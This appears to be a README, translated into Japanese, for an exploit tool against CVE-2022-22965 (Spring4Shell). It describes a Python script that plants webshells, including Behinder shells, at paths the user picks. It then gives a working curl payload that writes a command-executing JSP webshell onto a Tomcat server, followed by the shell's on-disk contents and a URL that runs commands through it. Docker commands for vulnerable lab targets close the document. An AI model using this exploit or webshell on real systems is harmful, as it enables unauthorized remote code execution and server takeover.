spring-core-rce

CVE-2022-22965: Spring-Core-Rce

EXP

特徴:

1. 脆弱性検出 (WebShellを書き込まず、簡単な文字列出力)
2. WebShellファイル名とパスをカスタマイズ可能
3. 同一ファイルへの追記は行わず、検出ごとに異なる名前のWebShellファイルに書き込む
4. 冰蝎 (Behinder) WebShellの書き込みをサポート
5. プロキシ対応、カスタムプロキシを設定可能（例: http://127.0.0.1:8080）

使い方:

$ python3 exp.py -h
usage: exp.py [-h] --url URL --type TYPE [--directory DIRECTORY] [--filename FILENAME]
              [--proxy PROXY]

Srping Core Rce.

optional arguments:
  -h, --help            show this help message and exit
  --url URL             target url,eg: http://127.0.0.1:8082/helloworld/greeting
  --type TYPE           1 vuln test 2.Behinder shell
  --directory DIRECTORY
                        shell directory,eg: webapps/ROOT(Notice: if the path not exists will creat!)
  --filename FILENAME   shell name
  --proxy PROXY         set request proxy,eg: http://127.0.0.1:8080

例:

$ python3 exp.py --url http://127.0.0.1:8082/helloworld/greeting --type 1 --proxy http://127.0.0.1:8080
[*] waiting for 10s...
[+] inject success, vulnerable!
[+] test at: http://127.0.0.1:8082/inject30297.jsp
[*] Response:
challenge
<!--

POC

WebShellを直接書き込む

curl -v -H "c1: runtime" -H "c2: <%" -H "suffix: %>//" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://target:8080/path

ファイルはディスクに書き込まれます:

cat ./apache-tomcat-8.5.77/webapps/ROOT/tomcatwar.jsp 
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } -

shell: target/tomcatwar.jsp?pwd=j&cmd=whoami

環境構築

vulfocus を使用

ROOT.war は白帽汇の vulfocus イメージからのもので、jdk9+ の Tomcat 環境に直接配置してテストを開始できます。

docker pull を使用して自分で行うこともできます。

docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

その後、ローカルの8082ポートにアクセスし、OKと表示されれば実行成功です。

Spring4Shell-POC を使用

https://github.com/lunasec-io/Spring4Shell-POC をクローンし、Spring4Shell-POC ディレクトリに入り、docker ビルドを実行して起動します。

docker build -f Dockerfile . -t spring4shell && docker run -p 8082:8080 spring4shell

[+] Building 1.4s (12/12) FINISHED                                                                    
 => [internal] load build definition from Dockerfile                                             0.0s
 => => transferring dockerfile: 37B                                                              0.0s
 => [internal] load .dockerignore                                                                0.0s
 => => transferring context: 2B                                                                  0.0s
 => [internal] load metadata for docker.io/library/tomcat:9.0                                    1.3s
 => [internal] load build context                                                                0.0s
 => => transferring context: 965B                                                                0.0s
 => [1/7] FROM docker.io/library/tomcat:9.0@sha256:9920e45babbbda16cc0f7b939349e1443cc6e0922272  0.0s
 => CACHED [2/7] ADD src/ /helloworld/src                                                        0.0s
 => CACHED [3/7] ADD pom.xml /helloworld                                                         0.0s
 => CACHED [4/7] RUN apt update && apt install maven -y                                          0.0s
 => CACHED [5/7] WORKDIR /helloworld/                                                            0.0s
 => CACHED [6/7] RUN mvn clean package                                                           0.0s
 => CACHED [7/7] RUN mv target/helloworld.war /usr/local/tomcat/webapps/                         0.0s
 => exporting to image                                                                           0.0s
 => => exporting layers                                                                          0.0s
 => => writing image sha256:7b1b653307234587dde30fa2f26b2f3211b2bc8bdb38b4b43f2c321ddda1ee25     0.0s
 => => naming to docker.io/library/spring4shell                                                  0.0s